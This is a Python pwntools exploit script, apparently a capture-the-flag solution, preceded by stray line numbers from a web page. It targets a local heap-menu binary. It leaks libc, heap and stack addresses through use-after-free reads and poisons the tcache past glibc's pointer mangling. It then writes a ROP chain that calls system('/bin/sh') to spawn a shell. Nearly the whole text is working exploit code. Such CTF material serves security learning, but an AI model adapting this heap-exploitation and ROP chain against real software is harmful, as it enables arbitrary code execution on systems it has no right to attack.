1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| from pwn import *
context( terminal=['tmux', 'split', '-h'], os='linux', arch='amd64', log_level='debug', )
def debug(io): gdb.attach(io, 'b *$rebase(0x1675)')
def add(idx: int, size: int, cont: bytes): io.sendlineafter(b'choice:\n', b'1') io.sendlineafter(b'idx:\n', str(idx).encode()) io.sendlineafter(b'size:\n', str(size).encode()) io.sendafter(b'content:\n', cont)
def delete(idx: int): io.sendlineafter(b'choice:\n', b'2') io.sendlineafter(b'idx:\n', str(idx).encode())
def show(idx: int): io.sendlineafter(b'choice:\n', b'3') io.sendlineafter(b'idx:\n', str(idx).encode())
io = process('./pwn') libc = ELF('./libc.so.6')
for i in range(9): add(i, 0x100, b'a') add(9, 0x100, b'a') for i in range(9): delete(i) show(7) libc.address = u64(io.recv(6).ljust(0x8, b'\x00')) - 0x21ACE0 log.success(hex(libc.address)) env = libc.address + 0x222200
show(0) heap = u64(io.recv(5).rjust(0x6, b'\x00').ljust(0x8, b'\x00')) * 0x10 log.success(hex(heap))
def xor_heap(target: int, heap_key: int) -> int: return target ^ int(heap_key / 0x1000)
def tcache_alloc(idx: int, addr: int, heap_size: int): for i in range(0xA): add(i, heap_size, b'a') for i in range(0x9): delete(i) add(0, heap_size, b'a') delete(8) payload = b'\x00' * (heap_size) if idx == 1: heap_key = heap if idx == 2: heap_key = heap + 0x1000 payload += p64(heap_size + 0x10) * 2 + p64(xor_heap(addr, heap_key)) add(8, heap_size * 2 + 0x10, payload) add(0, heap_size, b'a')
delete(0x9) tcache_alloc(1, env - 0x10, 0x100) add(1, 0x100, b'a') show(1) io.recv(0x10) stack = u64(io.recv(0x8)) log.success(hex(stack))
tcache_alloc(2, stack - 0x148, 0x110)
rop = ROP(libc) sh = libc.address + 0x1D8678 system = libc.address + 0x50D8B add( 2, 0x110, flat( 0x0, rop.rdi.address, sh, system, ), )
io.interactive()
|